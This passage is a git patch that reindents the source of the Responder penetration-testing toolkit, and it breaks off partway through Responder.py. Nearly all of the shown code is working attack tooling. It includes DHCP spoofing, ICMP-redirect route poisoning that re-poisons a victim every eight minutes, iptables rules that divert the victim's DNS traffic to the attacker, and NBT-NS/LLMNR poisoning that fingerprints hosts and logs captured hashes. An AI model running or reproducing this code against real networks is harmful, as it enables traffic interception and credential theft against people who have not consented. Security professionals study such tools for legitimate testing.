From 5c9fec923c8cb77f00466db6192b1ecb8980bdcf Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 9 Jun 2014 22:16:01 -0400 Subject: [PATCH] fixed: identation. --- DHCP.py | 192 ++- Icmp-Redirect.py | 89 +- Responder.py | 2911 +++++++++++++++++++++++----------------------- SMBRelay.py | 553 +++++---- 4 files changed, 1870 insertions(+), 1875 deletions(-) diff --git a/DHCP.py b/DHCP.py index 3df8d0b..1828ef7 100755 --- a/DHCP.py +++ b/DHCP.py @@ -50,29 +50,29 @@ def ShowWelcome(): print Message if options.OURIP is None: - print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n" - parser.print_help() - exit(-1) + print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n" + parser.print_help() + exit(-1) if options.Interface is None: - print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n" - parser.print_help() - exit(-1) + print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n" + parser.print_help() + exit(-1) if options.RouterIP is None: - print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n" - parser.print_help() - exit(-1) + print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n" + parser.print_help() + exit(-1) if options.DNSIP is None: - print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n" - parser.print_help() - exit(-1) + print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n" + parser.print_help() + exit(-1) if options.DNSIP2 is None: - print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n" - parser.print_help() - exit(-1) + print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n" + parser.print_help() + exit(-1) ShowWelcome() @@ -96,25 +96,25 @@ Spoof = options.Spoof Request = options.Request if Spoof: - DHCPSERVER = ROUTERIP + DHCPSERVER = ROUTERIP def SpoofIP(Spoof): if Spoof: - return ROUTERIP + return ROUTERIP else: - return OURIP + return OURIP def RespondToSpecificHost(RespondTo): if len(RespondTo)>=1 and RespondTo != ['']: - return True + return True else: - return False + return False def RespondToIPScope(RespondTo, ClientIp): if ClientIp in RespondTo: - return True + return True else: - return False + return False class Packet(): fields = OrderedDict([ @@ -270,21 +270,21 @@ def ParseMac(data): def IsUDP(data): if data[0][23:24] == "\x11": - return True + return True if data[0][23:24] == "\x06": - return False + return False def ParseSrcDSTAddr(data): - SrcIP = inet_ntoa(data[0][26:30]) - DstIP = inet_ntoa(data[0][30:34]) - SrcPort = struct.unpack('>H',data[0][34:36])[0] - DstPort = struct.unpack('>H',data[0][36:38])[0] - return SrcIP,SrcPort,DstIP,DstPort + SrcIP = inet_ntoa(data[0][26:30]) + DstIP = inet_ntoa(data[0][30:34]) + SrcPort = struct.unpack('>H',data[0][34:36])[0] + DstPort = struct.unpack('>H',data[0][36:38])[0] + return SrcIP,SrcPort,DstIP,DstPort def FindIP(data): IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data)) return ''.join(IP[0:4]) - + def ParseDHCPCode(data): PTid = data[4:8] Seconds = data[8:10] @@ -294,88 +294,86 @@ def ParseDHCPCode(data): OpCode = data[242:243] RequestIP = data[245:249] if OpCode == "\x08": - i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP)) - p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds) - p.calculate() - u = UDP(Data = p) - u.calculate() - for x in range(1): - SendDHCP(str(i)+str(u),(CurrentIP,68)) - return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) + i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP)) + p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds) + p.calculate() + u = UDP(Data = p) + u.calculate() + for x in range(1): + SendDHCP(str(i)+str(u),(CurrentIP,68)) + return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) if OpCode == "\x03": - if Request: - IP = FindIP(data) - if IP: - IPConv = inet_ntoa(IP) - if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv): - i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) - p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds) - p.calculate() - u = UDP(Data = p) - u.calculate() - for x in range(1): - SendDHCP(str(i)+str(u),(IPConv,68)) - return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) - if RespondToSpecificHost(RespondTo) == False: - i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) - p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds) - p.calculate() - u = UDP(Data = p) - u.calculate() - for x in range(1): - SendDHCP(str(i)+str(u),(IPConv,68)) - return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) + if Request: + IP = FindIP(data) + if IP: + IPConv = inet_ntoa(IP) + if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv): + i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) + p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds) + p.calculate() + u = UDP(Data = p) + u.calculate() + for x in range(1): + SendDHCP(str(i)+str(u),(IPConv,68)) + return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) + if RespondToSpecificHost(RespondTo) == False: + i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) + p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds) + p.calculate() + u = UDP(Data = p) + u.calculate() + for x in range(1): + SendDHCP(str(i)+str(u),(IPConv,68)) + return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) if OpCode == "\x01": - if Request: - IP = FindIP(data) - if IP: - IPConv = inet_ntoa(IP) - if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv): - i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) - p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds) - p.calculate() - u = UDP(Data = p) - u.calculate() - for x in range(1): - SendDHCP(str(i)+str(u),(IPConv,0)) - return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) - if RespondToSpecificHost(RespondTo) == False: - i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) - p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds) - p.calculate() - u = UDP(Data = p) - u.calculate() - for x in range(1): - SendDHCP(str(i)+str(u),(IPConv,0)) - return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) + if Request: + IP = FindIP(data) + if IP: + IPConv = inet_ntoa(IP) + if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv): + i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) + p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds) + p.calculate() + u = UDP(Data = p) + u.calculate() + for x in range(1): + SendDHCP(str(i)+str(u),(IPConv,0)) + return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) + if RespondToSpecificHost(RespondTo) == False: + i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) + p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds) + p.calculate() + u = UDP(Data = p) + u.calculate() + for x in range(1): + SendDHCP(str(i)+str(u),(IPConv,0)) + return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex')) else: - return False + return False def SendDHCP(packet,Host): - Protocol = 0x0800 - s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) - s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) - s.sendto(packet, Host) + Protocol = 0x0800 + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) + s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) + s.sendto(packet, Host) def SniffUDPMac(): s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) Protocol = 0x0800 s.bind((Interface, Protocol)) while True: - data = s.recvfrom(65535) - if IsUDP(data): - SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data) - if SrcPort == 67 or DstPort == 67: - Message = ParseDHCPCode(data[0][42:]) - if Message: - print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort) - print Message + data = s.recvfrom(65535) + if IsUDP(data): + SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data) + if SrcPort == 67 or DstPort == 67: + Message = ParseDHCPCode(data[0][42:]) + if Message: + print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort) + print Message SniffUDPMac() - - diff --git a/Icmp-Redirect.py b/Icmp-Redirect.py index da28c35..98e1355 100644 --- a/Icmp-Redirect.py +++ b/Icmp-Redirect.py @@ -12,7 +12,7 @@ # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. -# +# # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys,socket,struct,optparse,random,pipes @@ -43,32 +43,32 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa options, args = parser.parse_args() if options.OURIP is None: - print "-i mandatory option is missing.\n" - parser.print_help() - exit(-1) + print "-i mandatory option is missing.\n" + parser.print_help() + exit(-1) if options.OriginalGwAddr is None: - print "-g mandatory option is missing, please provide the original gateway address.\n" - parser.print_help() - exit(-1) + print "-g mandatory option is missing, please provide the original gateway address.\n" + parser.print_help() + exit(-1) if options.VictimIP is None: - print "-t mandatory option is missing, please provide a target.\n" - parser.print_help() - exit(-1) + print "-t mandatory option is missing, please provide a target.\n" + parser.print_help() + exit(-1) if options.Interface is None: - print "-I mandatory option is missing, please provide your network interface.\n" - parser.print_help() - exit(-1) + print "-I mandatory option is missing, please provide your network interface.\n" + parser.print_help() + exit(-1) if options.ToThisHost is None: - print "-r mandatory option is missing, please provide a destination target.\n" - parser.print_help() - exit(-1) + print "-r mandatory option is missing, please provide a destination target.\n" + parser.print_help() + exit(-1) if options.AlternateGwAddr is None: - AlternateGwAddr = options.OURIP + AlternateGwAddr = options.OURIP #Setting some vars. OURIP = options.OURIP @@ -80,9 +80,9 @@ ToThisHost2 = options.ToThisHost2 Interface = options.Interface def Show_Help(ExtraHelpData): - help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n" - help+= ExtraHelpData - print help + help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n" + help+= ExtraHelpData + print help MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) @@ -133,9 +133,9 @@ class ARPWhoHas(Packet): ]) - def calculate(self): + def calculate(self): self.fields["DstIP"] = inet_aton(self.fields["DstIP"]) - self.fields["SenderIP"] = inet_aton(OURIP) + self.fields["SenderIP"] = inet_aton(OURIP) ##################################################################### #ICMP Redirect Packets @@ -165,9 +165,9 @@ class IPPacket(Packet): ]) - def calculate(self): + def calculate(self): self.fields["TID"] = chr(randrange(256))+chr(randrange(256)) - self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"])) + self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"])) self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"])) # Calc Len First CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"]) @@ -186,9 +186,9 @@ class ICMPRedir(Packet): ]) - def calculate(self): + def calculate(self): #Set the values - self.fields["GwAddr"] = inet_aton(OURIP) + self.fields["GwAddr"] = inet_aton(OURIP) # Then CheckSum this packet CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) @@ -212,15 +212,15 @@ def ReceiveArpFrame(DstAddr): Arp.calculate() final = str(Eth)+str(Arp) try: - s.send(final) - data = s.recv(1024) - DstMac = data[22:28] - DestMac = DstMac.encode('hex') - PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) - return PrintMac,DstMac + s.send(final) + data = s.recv(1024) + DstMac = data[22:28] + DestMac = DstMac.encode('hex') + PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) + return PrintMac,DstMac except: - print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) - exit(1) + print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) + exit(1) def IcmpRedirectSock(DestinationIP): PrintMac,DestMac = ReceiveArpFrame(VictimIP) @@ -235,7 +235,7 @@ def IcmpRedirectSock(DestinationIP): IPPackUDP.calculate() ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) ICMPPack.calculate() - IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) + IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) IPPack.calculate() final = str(Eth)+str(IPPack) s.send(final) @@ -243,12 +243,12 @@ def IcmpRedirectSock(DestinationIP): def FindWhatToDo(ToThisHost2): if ToThisHost2 != None: - Show_Help('Hit CRTL-C to kill this script') - RunThisInLoop(ToThisHost, ToThisHost2,OURIP) + Show_Help('Hit CRTL-C to kill this script') + RunThisInLoop(ToThisHost, ToThisHost2,OURIP) if ToThisHost2 == None: - Show_Help(MoreHelp) - IcmpRedirectSock(DestinationIP=ToThisHost) - exit() + Show_Help(MoreHelp) + IcmpRedirectSock(DestinationIP=ToThisHost) + exit() def RunThisInLoop(host, host2, ip): dns1 = pipes.quote(host) @@ -258,10 +258,9 @@ def RunThisInLoop(host, host2, ip): call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." while True: - IcmpRedirectSock(DestinationIP=dns1) - IcmpRedirectSock(DestinationIP=dns2) - print "[+]Repoisoning the target in 8 minutes..." - sleep(480) + IcmpRedirectSock(DestinationIP=dns1) + IcmpRedirectSock(DestinationIP=dns2) + print "[+]Repoisoning the target in 8 minutes..." + sleep(480) FindWhatToDo(ToThisHost2) - diff --git a/Responder.py b/Responder.py index ebb05de..4d47676 100755 --- a/Responder.py +++ b/Responder.py @@ -12,7 +12,7 @@ # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. -# +# # You should have received a copy of the GNU General Public License # along with this program. If not, see . @@ -51,9 +51,9 @@ parser.add_option('-v',action="store_true", help="More verbose",dest="Verbose") options, args = parser.parse_args() if options.OURIP is None: - print "\n\033[1m\033[31m-i mandatory option is missing\033[0m\n" - parser.print_help() - exit(-1) + print "\n\033[1m\033[31m-i mandatory option is missing\033[0m\n" + parser.print_help() + exit(-1) ResponderPATH = os.path.dirname(__file__) @@ -97,37 +97,37 @@ Force_WPAD_Auth = options.Force_WPAD_Auth AnalyzeMode = options.Analyse if INTERFACE != "Not set": - BIND_TO_Interface = INTERFACE + BIND_TO_Interface = INTERFACE if INTERFACE == "Not set": - BIND_TO_Interface = "ALL" + BIND_TO_Interface = "ALL" if len(NumChal) is not 16: - print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n" - parser.print_help() - exit(-1) + print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n" + parser.print_help() + exit(-1) def IsOsX(): - Os_version = sys.platform - if Os_version == "darwin": - return True - else: - return False + Os_version = sys.platform + if Os_version == "darwin": + return True + else: + return False def OsInterfaceIsSupported(INTERFACE): if INTERFACE != "Not set": - if IsOsX(): - return False - else: - return True + if IsOsX(): + return False + else: + return True if INTERFACE == "Not set": - return False + return False def Analyze(AnalyzeMode): if AnalyzeMode == True: - return True + return True else: - return False + return False #Logger import logging @@ -143,59 +143,59 @@ logger3 = logging.getLogger('Analyze LLMNR/NBT-NS') logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a')) def Show_Help(ExtraHelpData): - help = "NBT Name Service/LLMNR Responder 2.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n" - help+= ExtraHelpData - print help + help = "NBT Name Service/LLMNR Responder 2.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n" + help+= ExtraHelpData + print help #Function used to write captured hashs to a file. def WriteData(outfile,data, user): if os.path.isfile(outfile) == False: - with open(outfile,"w") as outf: - outf.write(data) - outf.write("\n") - outf.close() + with open(outfile,"w") as outf: + outf.write(data) + outf.write("\n") + outf.close() if os.path.isfile(outfile) == True: - with open(outfile,"r") as filestr: - if re.search(user.encode('hex'), filestr.read().encode('hex')): - filestr.close() - return False - if re.search(re.escape("$"), user): - filestr.close() - return False - else: - with open(outfile,"a") as outf2: - outf2.write(data) - outf2.write("\n") - outf2.close() + with open(outfile,"r") as filestr: + if re.search(user.encode('hex'), filestr.read().encode('hex')): + filestr.close() + return False + if re.search(re.escape("$"), user): + filestr.close() + return False + else: + with open(outfile,"a") as outf2: + outf2.write(data) + outf2.write("\n") + outf2.close() def PrintData(outfile,user): if Verbose == True: - return True + return True if os.path.isfile(outfile) == True: - with open(outfile,"r") as filestr: - if re.search(user.encode('hex'), filestr.read().encode('hex')): - filestr.close() - return False - if re.search(re.escape("$"), user): - filestr.close() - return False - else: - return True + with open(outfile,"r") as filestr: + if re.search(user.encode('hex'), filestr.read().encode('hex')): + filestr.close() + return False + if re.search(re.escape("$"), user): + filestr.close() + return False + else: + return True else: - return True + return True def PrintLLMNRNBTNS(outfile,Message): if Verbose == True: - return True + return True if os.path.isfile(outfile) == True: - with open(outfile,"r") as filestr: - if re.search(re.escape(Message), filestr.read()): - filestr.close() - return False - else: - return True + with open(outfile,"r") as filestr: + if re.search(re.escape(Message), filestr.read()): + filestr.close() + return False + else: + return True else: - return True + return True # Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident. @@ -206,7 +206,7 @@ for i in range(0,len(NumChal),2): Show_Help("[+]NBT-NS, LLMNR & MDNS responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface: %s\nChallenge set: %s\nWPAD Proxy Server: %s\nWPAD script loaded: %s\nHTTP Server: %s\nHTTPS Server: %s\nSMB Server: %s\nSMB LM support: %s\nKerberos Server: %s\nSQL Server: %s\nFTP Server: %s\nIMAP Server: %s\nPOP3 Server: %s\nSMTP Server: %s\nDNS Server: %s\nLDAP Server: %s\nFingerPrint hosts: %s\nServing Executable via HTTP&WPAD: %s\nAlways Serving a Specific File via HTTP&WPAD: %s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,Krb_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off)) if AnalyzeMode: - print '[+]Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.\n' + print '[+]Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.\n' #Packet class handling all packet generation (see odict.py). class Packet(): @@ -226,33 +226,33 @@ class Packet(): #Function name self-explanatory def Is_Finger_On(Finger_On_Off): if Finger_On_Off == True: - return True + return True if Finger_On_Off == False: - return False + return False def RespondToSpecificHost(RespondTo): if len(RespondTo)>=1 and RespondTo != ['']: - return True + return True else: - return False + return False def RespondToSpecificName(RespondToName): if len(RespondToName)>=1 and RespondToName != ['']: - return True + return True else: - return False + return False def RespondToIPScope(RespondTo, ClientIp): if ClientIp in RespondTo: - return True + return True else: - return False + return False def RespondToNameScope(RespondToName, Name): if Name in RespondToName: - return True + return True else: - return False + return False ################################################################################## @@ -271,10 +271,10 @@ class NBT_Ans(Packet): ("NbtName", ""), ("Type", "\x00\x20"), ("Classy", "\x00\x01"), - ("TTL", "\x00\x00\x00\xa5"), - ("Len", "\x00\x06"), - ("Flags1", "\x00\x00"), - ("IP", "\x00\x00\x00\x00"), + ("TTL", "\x00\x00\x00\xa5"), + ("Len", "\x00\x06"), + ("Flags1", "\x00\x00"), + ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): @@ -301,34 +301,34 @@ def NBT_NS_Role(data): # Define what are we answering to. def Validate_NBT_NS(data,Wredirect): if Analyze(AnalyzeMode): - return False + return False if NBT_NS_Role(data[43:46]) == "File Server Service.": - return True + return True if NBTNSDomain == True: - if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": - return True + if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": + return True if Wredirect == True: - if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": - return True + if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": + return True else: - return False + return False def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. try: - if len(nbname) != 32: - return nbname - l = [] - for i in range(0, 32, 2): - l.append(chr(((ord(nbname[i]) - 0x41) << 4) | - ((ord(nbname[i+1]) - 0x41) & 0xf))) - return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) + if len(nbname) != 32: + return nbname + l = [] + for i in range(0, 32, 2): + l.append(chr(((ord(nbname[i]) - 0x41) << 4) | + ((ord(nbname[i+1]) - 0x41) & 0xf))) + return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) except: - return "Illegal NetBIOS name" + return "Illegal NetBIOS name" # NBT_NS Server class. class NB(BaseRequestHandler): @@ -338,117 +338,117 @@ class NB(BaseRequestHandler): Name = Decode_Name(data[13:45]) if Analyze(AnalyzeMode): - if data[2:4] == "\x01\x10": - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]) + if data[2:4] == "\x01\x10": + if Is_Finger_On(Finger_On_Off): + try: + Finger = RunSmbFinger((self.client_address[0],445)) + Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]) + logger3.warning(Message) + except Exception: + Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) + logger3.warning(Message) + if PrintLLMNRNBTNS(AnalyzeFilename,Message): + print Message + else: + Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) + if PrintLLMNRNBTNS(AnalyzeFilename,Message): + print Message logger3.warning(Message) - except Exception: - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) - logger3.warning(Message) - if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message - else: - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) - if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message - logger3.warning(Message) if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,Wredirect): - if RespondToSpecificName(RespondToName) == False: - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: + if RespondToIPScope(RespondTo, self.client_address[0]): + if data[2:4] == "\x01\x10": + if Validate_NBT_NS(data,Wredirect): + if RespondToSpecificName(RespondToName) == False: + buff = NBT_Ans() + buff.calculate(data) + for x in range(1): + socket.sendto(str(buff), self.client_address) + Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) + logging.warning(Message) + if PrintLLMNRNBTNS(Log2Filename,Message): + print Message + logger2.warning(Message) + if Is_Finger_On(Finger_On_Off): + try: + Finger = RunSmbFinger((self.client_address[0],445)) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) + except Exception: + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + pass + if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): + buff = NBT_Ans() + buff.calculate(data) + for x in range(1): + socket.sendto(str(buff), self.client_address) + Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) + logging.warning(Message) + if PrintLLMNRNBTNS(Log2Filename,Message): + print Message + logger2.warning(Message) + if Is_Finger_On(Finger_On_Off): + try: + Finger = RunSmbFinger((self.client_address[0],445)) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) + except Exception: + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + pass + else: + pass + else: + pass + + else: + if data[2:4] == "\x01\x10": + if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False: + if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): + buff = NBT_Ans() + buff.calculate(data) + for x in range(1): + socket.sendto(str(buff), self.client_address) + Message = 'NBT-NS Answer sent to: %s. The requested name was 